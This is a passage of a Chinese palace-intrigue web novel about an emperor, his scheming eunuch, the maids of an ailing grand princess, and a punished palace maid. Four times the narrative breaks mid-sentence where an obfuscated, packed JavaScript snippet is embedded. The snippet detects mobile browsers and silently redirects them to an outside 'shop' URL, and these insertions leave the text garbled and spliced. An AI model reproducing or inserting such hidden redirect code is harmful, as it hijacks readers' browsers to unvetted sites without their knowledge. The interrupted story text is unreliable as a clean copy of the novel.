“大姐姐哪里知道这些事儿。”刘昶放慢语速,编织着话语瞒弄道:“本该一进宫便来拜见陛下,只是途中听说大姐姐身体不适,日益消瘦,念及大姐姐对我们众姐弟多年的看顾抚育之恩,便顺道拐去了大姐姐的福康宫,还望陛下勿怪!”说着,刘昶面露戚戚之色,惶然跪下。 “大姐姐平日里对朕也多有照拂。”刘绥咬着后槽牙,从牙间挤出这句话,“若是朕听闻大姐姐病了,也是会忧心的。” “大姐姐身体如何?御医又是如何说的?”刘绥问道。刘安的身体劳累过度,他不是不知。 刘昶有些诧然,审视地看向刘绥,眼睛不自觉眯起。 虽说他入京不过两三日,与大姐姐接触时间也不长,但大姐姐的身体差到已经能肉眼看出来,而八弟日日与大姐姐接触,竟会不知?竟对大姐姐全然不关心? 刘昶冷哼一声,呛声道:“听闻陛下近来身体不适,想必是政务堆积的缘故,陛下尚且都病倒了,更何况是大姐姐日夜不分地处理政务呢?” “越人关弓而射之,则己谈笑而道之,其兄关弓而射之,则己垂涕泣而道之。当日陛下曾不解其意,问之于臣,不知今时今日,陛下可明了其中的意思?” “哈哈哈——”刘绥尬笑两声,揉了揉手腕,眼神却冷了下来,“太傅博学多知,朕由太傅悉心教导,日夜用功读书,自然学识渐长。”末了,刘绥语气逐渐加重,语速渐慢,最后两个字竟是从牙缝里挤出来的,一字一顿。 刘昶惯不喜欢这样勾心斗角,已懒得再与刘绥虚与委蛇,冷着脸拱手道:“宫门就快要下钥了,臣便先告退。”说罢,也不待刘绥发话,便转身甩袖离去。 徒留刘绥一人盯着刘昶的背影发呆。 杨仕鑫在外头见刘昶大步流星,气冲冲地出了福宁殿,猜到这位陛下又要发脾气,三步并作两步,忙不迭来到刘绥面前。 眼见着刘绥举起桌上的砚台,杨仕鑫忙滑步过去,抢在砚台落地前抱在怀里,跟护宝一样重新捧到刘绥身边:“陛下,这块砚台可是难得一见的宝物,就这么摔了怪可惜的,若是陛下不喜欢,不如赏给奴吧。” “宫里这样的宝物多的是,不差这一个的。”刘绥看着杨仕鑫染了一身的墨渍,甚是滑稽,不由得嗤笑一声,随即白了杨仕鑫一眼,“你也在朕身边有些时日了,见过的东西多了去了,怎么眼皮子还这般浅?区区一个砚台罢了,算什么宝!” “这可不一样。”杨仕鑫九转十八音,眉飞色舞道:“这可是陛下用过的砚台,奴得了陛下用过的砚台,那可是陛下降下来的福泽,怎么不算贵重呢?” 刘绥被杨仕鑫作怪的表情逗笑,伸手端来一旁的茶盏。 “莫不是奴说的话惹得陛下不悦?”杨仕鑫忙放下砚台拦道:“陛下今日已经碎了一盏了,难道还要再碎一盏吗?” 刘绥瞪了杨仕鑫一眼,无奈笑道:“朕口渴!” 听闻此言,杨仕鑫忙抚着胸口,长舒一口气:“阿弥陀佛,奴保下陛下的茶盏,今日功德又加一件,也不知来日奴能不能到了地下,会不会过上好日子。” 刘绥笑着,没了方才剑拔弩张的算计:“这有何难,待你百年之后,朕为你塑金身。” “多谢陛下多谢陛下!”杨仕鑫忙跪下谢恩。 刘绥笑着摆手道:“起来吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274289|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>方才碎瓷片扎入膝盖,杨仕鑫又要随时侍奉在刘绥身边,因而再站起来时有些费力。 刘绥注意到杨仕鑫的异样,随口问道:“你的腿怎么样了?” “不碍事。”杨仕鑫遮掩道,“奴小时经常爬树,上上下下的,腿也断过几次,这点小打小闹的,奴从未放在眼里过。”刚说完,便忍不住“嘶”了一声。 “宣御医!”刘绥道,转而又不容任何分辨,对着杨仕鑫道:“你是朕身边的人,一举一动皆代表着朕的颜面,容不得闪失。” “奴多谢陛下关切。”说着,杨仕鑫便故作抹泪的姿态。 刘绥轻笑一声道:“省省吧。” 正说着,抚政大长公主刘安身边的掌事宫女莲音带着人来送奏折。 刘绥与杨仕鑫主仆二人见有外人来了,都收起方才的神色,各自忙各自的。 刘绥漫随手扯来桌上的一本书摊开来看,虽说是看书,却一个字也未看进去,只盯着手上大了一号的玉扳指出神。 “参见陛下。奴婢莲音奉大长公主之命,送来批阅过的奏折。”说着,莲音一个眼神,身后奉着奏折的宫人们依次上前,一字排开站好,莲音指着其中一摞奏折,不卑不亢道:“大长公主已将臣子们日常问安、寻常事项分了出来,这一摞是近来最要紧重要的事儿,还需陛下再复核一遍才是。” 语毕,良久未能听到刘绥指示,莲音不免疑惑,悄然抬起眼皮瞄了一眼,只见刘绥正专心盯着桌上的书看。 垂首侍立在一旁的杨仕鑫在一旁轻声提醒道:“陛下,大长公主殿下身边的莲音过来了。” 刘绥恍然抬头,笑着解释道:“朕方才看书看得入迷,一时竟忘了你来了。”说罢,又低声呵斥了一声杨仕鑫:“你也是,大姐姐身边的人来了,也不知道通传一声,要你何用。” 杨仕鑫看了眼莲音,撇撇嘴,脑袋垂得更低了。 莲音只是笑笑站在原地。 “那便都放在这边吧。”刘绥随手指着桌上一处空地,漫不经心道。 “是。”莲音应下,一一将奏折堆叠摆放整齐,余光不经意一瞥,瞥见刘绥手中的书竟然拿反了,心中便已了然,垂首却步道:“奴婢告退。” 刘绥头也不抬地“嗯”了声,而后又随手指了指杨仕鑫。 杨仕鑫会意,三步并两步追上莲音,待二人并行出了殿,杨仕鑫一脸歉意笑道:“莲音姐姐,陛下近来废寝忘食的学习,若是怠慢了姐姐、轻慢了大长公主,还望姐姐见谅。” 莲音三魂吓飞了七魄,忙不迭连连摆手推脱:“你这是说的哪里的话,我都快要吓死了。我不是宫里的一名奴婢,哪里敢担得起?陛下肯与我说上两句话,我便感恩戴德了。” “你这是要折煞我啊!”莲音连连抚着胸口做惊恐状,待回过神来,脸上染了几分恼怒,瞪圆了眼睛,脸也扭到一旁去。 杨仕鑫言有所指,语调也拐起弯来,阴阳怪气道:“到底是莲音姐姐说话好听,不像那两位,说话夹枪带棒的……” 93. 安内(十八)绵里藏针 听过杨仕鑫的话,莲音脸上神情不自然抽搐一下,大长公主身边拢共就她与莲亭、莲房三位大宫女,那两位指的是谁,不言而喻。 也幸亏她们三人跟在殿下身边十几年,她们之间无话不谈,且又一心只为着殿下着想,如若不然,今日换成旁人听到这般挑唆拉踩的话语,心里多少都会生出嫌隙呢。 莲音本还想着出言反驳,但此处还在福宁殿,杨仕鑫又是陛下身边的人,俗话说打狗还要看主人呢,想到此处,莲音便不得不先作罢 再者,近来宫里宫外等着看热闹的人不少,她的一举一动关乎的全是大长公主的脸面,需得万分慎言慎行才是。 莲音仅是干笑两声,直接略过这个话茬,忽又想起方才陛下手里拿反了的书,也学着杨仕鑫口吻,颇有些阴阳怪气:“近来我常觉自己粗陋浅薄,哪里配在宫里贵人面前伺候。” “我想着提升自己学识、素养,思来想去,读书是最要紧的,可又一时之间不知该读些什么书。方才见陛下看书看得津津有味,想来陛下看的书定是好的,不知陛下读的什么书,你偷偷告诉我,我也好瞻仰瞻仰陛下的龙气。” 杨仕鑫挑眉,一时愣神,丈二和尚摸不着头脑,不明白莲音这话是什么意思。 不过莲音与他平日里的关系还好,不像大长公主身边的莲亭、莲房两个,见着面总要先明里暗里呲他一顿。况且这又不是什么大事,便一口应下:“行,等我待会看了,明儿就告诉姐姐。” “那我便承你的情了,在此多谢谢你了。”莲音脸上憋不住的笑意,强抿着嘴,朝着杨仕鑫拘了一礼。 “这算什么大事啊!”杨仕鑫满不在意,双手托住莲音胳膊,“姐姐尽管麻烦我就好了。” 说笑间,两人并肩走出福宁殿宫门。 莲音看到了角落里腰杆跪得笔直的蔡岑,不免添几分好奇,停下脚步,驻足而立,朝着蔡岑的方向努努嘴,轻声问道:“那个宫人是犯了什么错?从我来时便见她跪在此处。” 杨仕鑫瞥了眼,蹙眉漫不经心道:“她呀,手脚毛躁,干活不利索,竟碎了陛下一个茶盏。” 杨仕鑫犹觉不过瘾,声音尖锐,添油加醋道:“那茶盏可是大长公主最喜欢的那套钧瓷红釉的呢。” 莲音接过话:“那杯身上的描金线还是殿下亲手描绘的呢,殿下十分珍爱,如今竟被人碎了一个……” 莲音冷哼一声,忿忿道:“让她跪着真是便宜她了。” 闻此一言,杨仕鑫眼珠一转,计上心头:“谁说不是呢,若依着陛下与大长公主殿下之间的情谊,赏她几十板子都算是少的。不过啊——” 杨仕鑫语气一顿,话锋急:,“也算是她命好,遇到了定北王为她求情,免去了那几十板子。”说罢,杨仕鑫眼珠在眼眶里转了一圈,意味深长地看了眼莲音,等着她的反应。 “哦,那她也确实算好运。”莲音不咸不淡道,面上虽没什么表现,可心里恨不得能狠狠啐上杨仕鑫一大口,什么狗仗人势的东西,到处挑唆。 莲音转头对着杨仕鑫道:“得了,你赶紧陛下身边伺候吧,你可是陛下身边的大红人,少了你可怎么行呢?” 杨仕鑫微微颔首,拜别莲音。 莲音才刚没走几步,便忽见一侍卫一路火急火燎小跑直奔福宁殿,似是有什么急事。 杨仕鑫叫住那侍卫,眉头皱紧,喝了声:“跑什么慌什么?出了什么事?这般慌张?眼里还有没有规矩?” 莲音不免放慢脚步,扶着墙,侧着耳朵听着。 侍卫被杨仕鑫唬住,咽下口水,作揖后怯怯道:“内官大人,我是宫门处的守卫,奉长官之命,前来找御前的杨内官,还望内官大人通传一声,我有要事相禀” 杨仕鑫上下扫过侍卫一眼,摆起架子,道:“我便是,有什么话直说便是。” 侍卫忙道:“杨内官,你吩咐我们盯着大长——” “咳咳嗯嗯,嗯嗯嗯。”杨仕鑫见莲音还未曾走远,忙不迭清了清嗓子,借以盖住侍卫接下来说的话。 监视大长公主乃至她身边宫人动向一事,可万不能让她们知道。 听到事关大长公主,莲音不再淡定,不过杨仕鑫刻意隐瞒,她也不知到底发生了什么,只加快了脚步,快步朝着宫门口去。 注意到莲音及福康宫的一众宫人们走远,杨仕鑫松了口气。 但为了保险起见,杨仕鑫还是将侍卫拉到一旁墙边,压低声音问道:“你小声说,莫要被旁人听到。” 侍卫附到杨仕鑫耳边道:“大长公主身边的莲房拿着大长公主的令牌,说是奉了大长公主的命令,要出宫去公主府呢,可宫门已然下钥,这门便开不得,眼下人正在宫门处闹呢。” “长官命我来讨杨内官示下,眼下到该如何是好呢?”侍卫说完,抬眼看向杨仕鑫。 杨仕鑫不免纳罕,这么晚了,莲房还出宫做什么?此事还需快些让陛下知晓才是。 不过既拿住了违反宫规的莲房,岂不是狠狠打了大长公主的脸?有这样的主子统御宫闱,哪里会让人信服呢? 杨仕鑫下令道:“拿住她。” 忽而又瞥见面前还站着的侍卫,杨仕鑫笑着从袖中抓了块碎银锭塞到侍卫手里,鼓励道:“你做的很好,若以后还有这样的事情,定要像今日这般及时来报。” 侍卫感恩戴德:“多谢杨内官赏赐,往后定当尽心尽力为内官、为陛下办事。” 杨仕鑫满意地点点头,转头便快步去了内殿。 “陛下——”杨仕鑫见刘绥依旧捧着方才的那本书看得入迷,轻声唤了声。 刘绥见是杨仕鑫回来,合上手中的书,随手往旁边一推,看向杨仕鑫。 杨仕鑫时刻注意着刘绥的动作,上前一步,弯腰附在刘绥耳边,将方才侍卫所说一字不漏全说与刘绥听,语毕,还好奇问道:“陛下,可要处置了这莲房?” 刘绥摆摆手:“姑且不必,若大姐姐真与外人有所勾结,只怕是打草惊蛇了。且由着她去,朕倒要看看,大姐姐能纵容宫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274290|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到什么境地。” 先前刘绥安顿于刘安的福康宫时,便听闻这莲房在宫外有一表哥,两人有些情谊。 抚政大长公主刘安性情宽和,对待宫人也甚是和蔼,对莲房与她表哥的事也是睁一只眼闭一只眼,平日里还开玩笑说要为莲房与她的表哥赐婚。 再者,刘安在宫外的公主府也时常需要人打理,因而莲房便领了刘安的令牌,日日无所阻出入宫门。 如今莲房意欲出宫,大抵也是为了她那表哥吧。 杨仕鑫应下,看了眼刘绥神色:“那奴便去派人收回方才的命令。” 得了刘绥应允之后,杨仕鑫忙去查办此事,忽又想到方才莲音问他陛下所看之书,不免瞥了眼那本刘绥推到一旁的书。 仅一眼,便不免心中一惊,陛下怎么将书拿反了?还被莲音给发现了? 杨仕鑫小心翼翼瞥了眼刘绥,见他神色如常,并未发觉方才将书拿倒了,便也不再多嘴,生怕再惹来一顿臭骂。 算了,多一事不如少一事。 虽说刘绥不想打草惊蛇,特地命杨仕鑫放了莲房回福康宫。 但莲房平日嘴快不饶人,平素便与杨仕鑫有不快,如今莲房犯了错,杨仕鑫巴不得上前嘲讽一番呢,因而也顾不得膝盖上的伤,安排他徒弟替他顶班,自己则一瘸一拐地去了宫门处。 杨仕鑫才刚到宣政门,便正好撞见莲音与莲房二人进了宣政门,并肩朝着东边的福康宫走去。 莲房眼尖,看见杨仕鑫,便知道如今为何凭着大长公主的令牌也无法出宫了,大步跑到杨仕鑫面前,嗤道:“哟,杨内官不在陛下身边伺候,跑到这里做什么?” 杨仕鑫自是不甘示弱,冷哼一声:“只许人违反宫规强行闯宫,便不允许我走动吗?到底,这满宫上下还是陛下做主。”说罢,甚是不屑地瞟了莲房一眼。 莲音一把扯住莲房举起的手指,强行按下,只身挡在莲房与杨仕鑫之间,笑着打圆场搪塞道:“杨内官,莲房这人平时嘴最快,她说了什么你可不要放在心上啊。” 杨仕鑫梗了梗脖子,白了莲房一眼:“到底还是莲音姐姐懂宫规识礼法,不像某些人,与市井泼皮无异。”说罢,犹觉不过瘾,又欠儿欠儿地小声嘟囔一句:“也不知道主子是怎么教的。” “你——”莲房忍无可忍,怒目圆睁。 “够了。”莲音喝了一声,冷脸道:“殿下身边还需要人侍候,你我二人出来也有些时辰了,快些回去吧。”说罢,便不由分说拉着莲房离开。 杨仕鑫也没讨到什么好,对着二人背影“嘁”了一声,回福宁殿去了。 待莲音与莲房拐入福康宫内,莲音拉着莲房寻得一处僻静无人的地方。 莲房忍无可忍,挣脱莲音紧紧攥着她的手,揉着发酸的手腕,嘟嘟囔囔抱怨道:“姐姐拦着我做什么?遇到杨仕鑫那样让人发恶的嘴脸,没对着他的脸狠狠啐上一口,真是——” “啪——”莲房话还没说完,脸上便响起一声清脆的巴掌声。 94. 安内(十九)寒夜漫漫 莲房不可置信地看向莲音,顿时觉得委屈,捂着瞬间红肿的脸,哭兮兮道:“你打我做什么?” 平日里她与莲音并无什么矛盾,两个人好得跟亲姐妹一样。况且她与莲音同是福康宫的掌事宫女,如今却白白挨了莲音的一巴掌,是又气又急又羞又恼。 每每遇到杨仕鑫,话里话外总是在挑拨,不是在明捧这个,就是暗贬那个……莫不是莲音姐姐听了那杨仕鑫挑唆的话语? 莲房梗着脖子,吸了吸鼻子,嗡声道:“我知道,姐姐如今是福康宫的掌事大宫女了,也该摆摆大宫女的谱了,可也该拿我来做例子,下我的面子,这往后我还怎么管教宫人们?” “即便是殿下,也没这般打过我。”莲房抽出手帕,胡乱团成一团,捧在手心里,掩面无声啜泣。 莲音疾言厉色道:“我若是有意要下你的面子,早在宫门口时,这一巴掌便甩在你脸上了,断然不会留到现在,断然不会在此偏僻处与你理论。” 莲音眼眸眯起,想到今夜是她守夜,不免更添了一层怒气。 “今夜不是你当差吗?你不在殿下身边伺候,怎么还闹到宫门口了?”莲音绕着莲房转了一圈,细细上下打量审视一番,问道:“你这是去哪儿?” 莲房收起哭腔,顿时有些支支吾吾。 今夜本该是她当差不错,可表哥突然托人给她带话,说突发恶疾,需要一大笔钱财医治,她这才…… 莲房知道,莲音姐姐向来看不上她那个表哥,故而每次去见表哥前都要瞒着莲音。 看莲房这神情,莲音便恨铁不成钢,不由分说厉声道:“还惦记你那个表哥呢?” 一提到莲房那个表哥,莲音便气不打一处来。 早年间,莲房尚且年幼之时,家在汀州,那年遭了洪灾,又逢父母亡故,莲房只得寄希望于远在覃州的姑姑家。 多番辗转,莲房费了好大的劲儿才找到了姑姑一家,在姑姑家居住了几年,平日里不是洗衣便是倒夜壶,每日挨打受骂都是常事。 莲房日益长大,出落的愈发水灵,姑姑家的表哥对莲房滋生了情愫。 只是天有不测风云,不想姑姑家也遭了荒,一家子逃难去了,独独撇下了莲房。 幸而遇到殿下,殿下心生怜悯,便将莲房带在身边,这一待便是近十年的光景。 就前两三年时,她们几人在京中街上闲逛游玩之时,无意间撞见莲房的表哥。 听闻莲房姑姑一家本想北上入京,不想河流湍急,一个浪打过来掀翻了船,只留下表哥一人。 莲房与表哥二人许久未见,再见之时,再生情愫,抱头痛哭。 莲房这个傻姑娘,傻傻的将自己每月的例银乃至得到的赏赐一股脑的全带给她那个表哥。 那表哥竟也不手软,心安理得的花着莲房的钱,在宫外逍遥自在。 若说莲房是被表哥的话语蒙了心智,冲昏了头脑,莲音可看得清楚,那表哥不是什么好人。 为此莲音也劝过莲房几句,可莲房横竖听不进去,说多了,莲房倒觉得她烦,莲音也不愿再多说什么。 只是如今,莲房竟为了她那表哥,冒着违背宫规的风险,假借殿下名义出宫去! 事关殿下,莲音哪里还能无动于衷!只恨不得再来一巴掌让莲房清醒清醒。 莲房环顾四周,只见偶有两三个宫人走过,忙慌张捂上莲音的嘴:“莲音姐姐,你可别乱说,我与表哥虽说私自定下终身大事,可到底也是清清白白的,今夜若不是表哥……” 今夜若不是表哥他突发恶疾,她实在担忧啊! 莲音懒得再听莲房说她与那表哥的事,出言打断道:“就你这么仗着殿下的名头日日往宫外跑,明眼人都看得出来猫腻,你能瞒得了谁?” 莲房哑然噤声,不再言语,只垂下脑袋,胡乱绞着手中的帕子,脚下也有意无意晃悠画着圈,碾着脚下的尘土。 莲音道:“殿下性宽和,不忍责罚宫人,你可倒好,仗着殿下的宠爱,这次竟敢违反宫规,真是无法无天了!” “现在满宫里不知道有多少双眼睛正盯着殿下、正盯着我们福康宫呢!”一提到刘安,莲音不免叹了口气,心疼不已,“如今殿下身体是个什么情形,你日日侍奉左右不会不知,你可倒好,上赶着给殿下找麻烦事儿。” “若非你我同在殿下身边随侍数余年,我知你心不坏,否则我倒真觉得你居心叵测了。” 一听这话,莲房霎时间慌了神,为自己辩解道:“莲音姐姐,殿下对我不薄,我又不是那种见利忘义的小人,我哪里做得出背叛殿下的事来呢?” 莲房语气中重新染上些哭腔,说着便扶着莲音的胳膊跪下。 “那样最好。”莲音忙搀住莲房,紧紧盯着莲房,道:“今日得亏是遇着定北王也要出宫,替你解了围,如若不然……你被他们拿住,被押到陛下面前,饶是殿下,也难保下你。” 莲房垂下头,不敢直视莲音,只鼻音囔囔道:“我……我知道错了。” “还有,你不要总是逞口舌之快,即便你吵赢了那杨仕鑫,又能如何?于殿下有何助益?”莲音语气软了下来。 一提到杨仕鑫,莲房便来气,嘴里嘟嘟嘟一通说:“那杨仕鑫总是当面一套背后一套不敬殿下,殿下不愿与他计较,他却反倒蹬鼻子上脸,我——” “你当殿下是目不明耳不聪吗?殿下不是不愿计较,只是杨仕鑫是放出来的一条狗,就等着一口咬死我们呢。”莲音苦口婆心与莲房讲起了道理。 “如今殿下一举一动分外惹人注意,又心系家国大事,哪里还等理得了一条到处乱窜狂吠的野狗呢?” 看着莲房委屈巴巴地站着,透过遮挡的指缝,脸上也愈发红肿,莲音不免有些心疼,语气柔了下来,问道:“脸上还疼吗?” 莲音轻轻挪开莲房覆在脸上的手,只见莲房脸颊隆起,不免有些后悔下手太重。 莲音无奈道:“你且随我来,我这里还有些上好的药膏。这药膏可是宁乐长公主赐我的,效果卓然,抹上保管明日便消了。” 莲房闷哼一声,拨弄了些碎发,并手帕一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274291|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮住脸,垂着头,乖乖跟在莲音身后。 看着莲房的可怜样,莲音于心不忍:“今夜我替你当差吧。” “谢过姐姐。” 夜深露重之时,烛花爆了一声,莲音怕会惊扰刘安,忙轻手轻脚起身,披了件衣服,取来剪刀,剪了烛芯。 刘安一声叹息,掀起一角帘子,面上尽显虚弱之色,笑道:“莲音,你怎么也这么少觉?” 莲音以为自己吵醒了刘安,忙放下剪刀,跪坐在刘安床榻前:“都是我不好,吵醒殿下了。” 刘安不甚在意这些,清了清嗓子,坐起身笑着看向莲音:“睡至半夜,倒觉喉咙有些发腥,想喝些水润润喉咙。” 莲音忙倒了杯温茶。 刘安喝过后,喉咙才勉强舒坦些。 “殿下快歇息吧,明日还要早朝呢。”莲音转身去放茶杯,掩不住的心疼。 “不碍事,明日早朝我起得来——咳咳——”刘安才刚躺下,胸口也像是压了块石头般发闷,喉咙被一股腥甜糊住。 刘安猛然惊坐,伏在床头,咳嗽数声,脸也涨得通红,几度便要将方才喝下的茶水呕出来。 “殿下——”莲音惊呼一声,忙不迭赶到刘安身边,一手给刘安递上帕子,一手轻轻抚着刘安的后背为她顺气。 直至吐出一口腥甜,刘安才方觉喉咙好受些,侧头歪在枕头上。 莲音接过帕子一看,只见一滩黏腻的血丝出现在帕子上,不觉怔住。 她记得,先前英王也是这般,咳血过后便……莲音不敢再想下去,但见刘安神色虚弱,忙柔声问道:“殿下这样子我实在担心,要不宣御医?” “不必。”刘安一把拉住莲音的手,“此事勿需让旁人知晓,也不必惹得人尽皆知。明日将那林微唤来,开些温补滋养的药来,我且将养着。” “待女官们上任为官便好。”刘安疲惫地阖上眼皮,拍了拍床边:“我有些发冷,你上来,就如同小时候那样。”说着说着,语气越来越弱。 “我身上有些凉,等我搓搓去去寒气。”莲音不再推脱轻声应下。 早先还在王府的时候,莲音与刘安两人便亲如同姐妹一般,时常共枕而眠。 莲音一边在手上哈气,一边将胳膊、腿上下搓了个遍,生怕将身上的寒气带给刘安。 待到手心发热,莲音爬到床尾盘腿坐下,将刘安的双脚抱入怀中,拥至心口。 刘安的双脚冰凉,冻得莲音一激灵,不由得倒吸一口凉气,难怪殿下睡不着,脚竟这般冰。 见着莲音这副反应,刘安有些调皮的笑了。 莲音没好气的白了刘安一眼,带着心疼,数落起刘安:“殿下也真是的,脚冰成这样现在才说。”一边抱怨着,一边抱得更紧了。 双脚回温,刘安缓缓阖上眼,昏睡过去。 直至听到刘安平稳的呼吸声,莲音才敢轻轻吸了吸鼻子,在被子上蹭干眼泪。 烛花爆了一声又一声,巡夜的守卫换了一茬又一茬。 而蔡岑,依旧还跪在那里。 95. 安内(二十)卑如蝼蚁 蔡岑的膝盖已经没了知觉,肚子也叽里咕噜叫个不停,嘴唇也因大半日未进水米而龟裂起皮。 腹部因挨了杨仕鑫那一重脚,如今还在作痛。 再加上身上衣衫单薄,不觉又打了数个喷嚏,整个人也昏昏沉沉。可她不敢挪动分毫,生怕被人发现再受一顿骂、再挨上一顿打。 她可是出身颖州蔡氏啊!自小锦衣玉食,有父母疼爱,兄长爱护,姑母骄纵,何时……何时受过这些苦楚? 想至此处,难免落下两滴眼泪。 寒风呼啸而过,其中还夹杂了几声极小的呜咽抽泣。 福宁殿内外只留下了当值夜差的宫人。 康佑帝刘绥早已歇息,宫人们也放松许多,大多都打起盹假寐。 蔡岑手脚并用才勉强挪动到紧贴着冰冷的墙根,也不知她还要跪到什么时候。 蔡岑倚着墙边支撑着身体,掩着嘴打了个哈欠,紧接着又连打两个喷嚏,浑身打起寒颤,汗毛都立了起来。 若是再跪下去,恐怕只会变成乱葬岗的一座无名坟茔。 蔡岑忍着腹部的剧痛,弯腰摸出藏在衣袍之下的两个小盒子。 一个装着颗黑色的丹丸,一个装着个手感粗粝不及巴掌大的陶瓷小罐。 早前定北王刘昶踏出福宁殿路过她这里时,佯装无意将这两样东西丢下,还压低声音说,这是人参补气丸和金疮药。 为着今日平白无故挨打之事,蔡岑原本对刘昶还心生怨念,赌气不愿用他施舍的东西。 可到底还是活命重要。 若是没有这两样东西,只怕她最后也只能落得个草席裹尸、在乱葬岗随意安放座坟茔的下场。 她不想。 肚子早早便咕咕叫个不停,可因着早前宫人来往频繁,她不敢用,如今宫人们懒散懈怠,她才方敢拿出来。 蔡岑快速取出人参补气丸,来不及细嚼,一整个囫囵吞下。 丹丸干噎难以下咽,蔡岑被噎得险些呕出来,但为了能活,还是强行梗着脖子,捶着胸口咽下。 光吞这人参补气丸,就差点要了她半条命。 这丸药果然有用的很,不消片刻,便不觉得冷了,就连手脚,也有了温度,回了暖。 想起今日之遭遇,不觉对杨仕鑫的恨又添上几分。 好个狗仗人势的狗奴才! 自蔡岑调来福宁殿后,便受到杨仕鑫盘剥克扣。今日她也是倒霉,遇到皇帝发怒。 原以为只要脑袋垂得够低,便能躲过这场怒气,却不想被杨仕鑫这个狗奴才杨仕鑫揪住,白白背锅挨打。 肚子上挨的那一脚,至今还痛着呢。 蔡岑咬紧后槽牙,太阳穴青筋隐隐浮现。 等她有朝一日得了势,定要先狠狠打杨仕鑫一顿板子,再日日喂他吃馊饭馊菜,再让满宫里的人都教训他,最后再让他跪在脚边摇尾乞怜。 如此想着,倒也精神不少。 人一旦有了精气神儿,无论现在处在什么样的境遇,都会想着活下去。 月沉西落,天边泛起了鱼肚白。 一抹亮光透过云层,驱散黑夜。 宫门敞开,宫人来往进出不断,福宁殿内也忙碌起来。不多时,康佑帝刘绥的仪仗整齐划一地走出福宁殿,庄严肃穆。 随侍在步辇一旁的杨仕鑫瞥见那个跪在墙角、瞪大了眼睛四处张望的人影,猛然想起蔡岑还跪在门口,脸上瞬间阴沉,小跑到蔡岑身边,一脚踢在蔡岑腿上,压低声音训斥道:“糊涂东西!莫不是忘了规矩了?” 蔡岑忙垂下脑袋,弯了腰,伏在地上,不敢直视。 “滚滚滚,滚远点,别碍着眼。”杨仕鑫像驱狗一样赶着蔡岑,紧接着转过身子,躬身垂头对着刘绥的步辇。 蔡岑被挤得快变了形,扭动着肩膀挣扎一下,试图为自己挣得一片空间。 杨仕鑫上半身保持着不动,脚跟抬起,挪动着脚步,待感知到脚底踩着了,方才放下脚跟,压低声音道:“安分些,若是惊扰陛下,十条命都不够你罚的。”说罢,脚下逐渐加力。 蔡岑自然明白杨仕鑫说的,手来不及收回,强忍着手指上传来的剧痛,咬紧牙关,心中对杨仕鑫的恨意又添上了几分。 刘绥坐在步辇上,托着下巴,懒洋洋打了个哈欠。什么早朝,无非是坐在龙椅上睡觉打盹罢了。 如今大长公主刘安监国理政,大到军政、小到官员休沐,事事都要管,事事都要插手。 龙椅坚硬,朝臣聒噪,竟无一事舒心。 他这个皇帝当的,实在没劲。 步辇轻微颠簸一下,刘绥不悦,才刚阖上的眼睛重新睁开,露出一条缝,眼珠转了一圈,找到杨仕鑫的身影。 杨仕鑫会意,高声道:“落!” 步辇平稳落地,抬着轿辇的宫人们战战兢兢跪在地上。 不待刘绥吩咐,杨仕鑫扬起搭在胳膊上的拂尘,抡圆胳膊,朝抬着轿辇的宫人们背上鞭笞。 宫人们生怕再惊扰刘绥惹得他不悦,一动也不敢动,一声痛也不敢喊出声,任由杨仕鑫的拂尘落在他们身上。 拂尘一下一下落在人背的声音,甚是吵闹。刘绥又打了个哈欠,换了另一只手托着下巴,不耐烦道:“杨仕鑫!” 杨仕鑫转向刘绥,刚才还笔挺的脊背瞬间弯下,眼皮轻抬,瞄了眼刘绥的神情,心中便已知一二。 紧接着杨仕鑫高喊一声:“起!” 步辇稳稳抬起,一众人等朝着金銮殿走去。 刘绥并未注意到什么蔡岑,他也早忘了还有个跪了一夜的小宫女蔡岑。 天边渐明,云层渐散,日出东方,光破万丈。 屋檐上的琉璃瓦熠熠生辉,折射出五彩斑斓的光。 蔡岑仰头看去,不由得伸出被踩得通红的手,去触摸那些五彩斑斓的光。 若是……她们颖州蔡氏一族还在,她又岂会落得如今这样被人欺凌的境遇? “哟,我当是谁呢?原来是出身颖州蔡氏的名门贵女啊!怎的……”珍儿停下脚步,驻足而立,一边挖苦讽刺着蔡岑,一边连着啧啧两声,上下打量番蔡岑,抿嘴轻笑。 珍儿原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 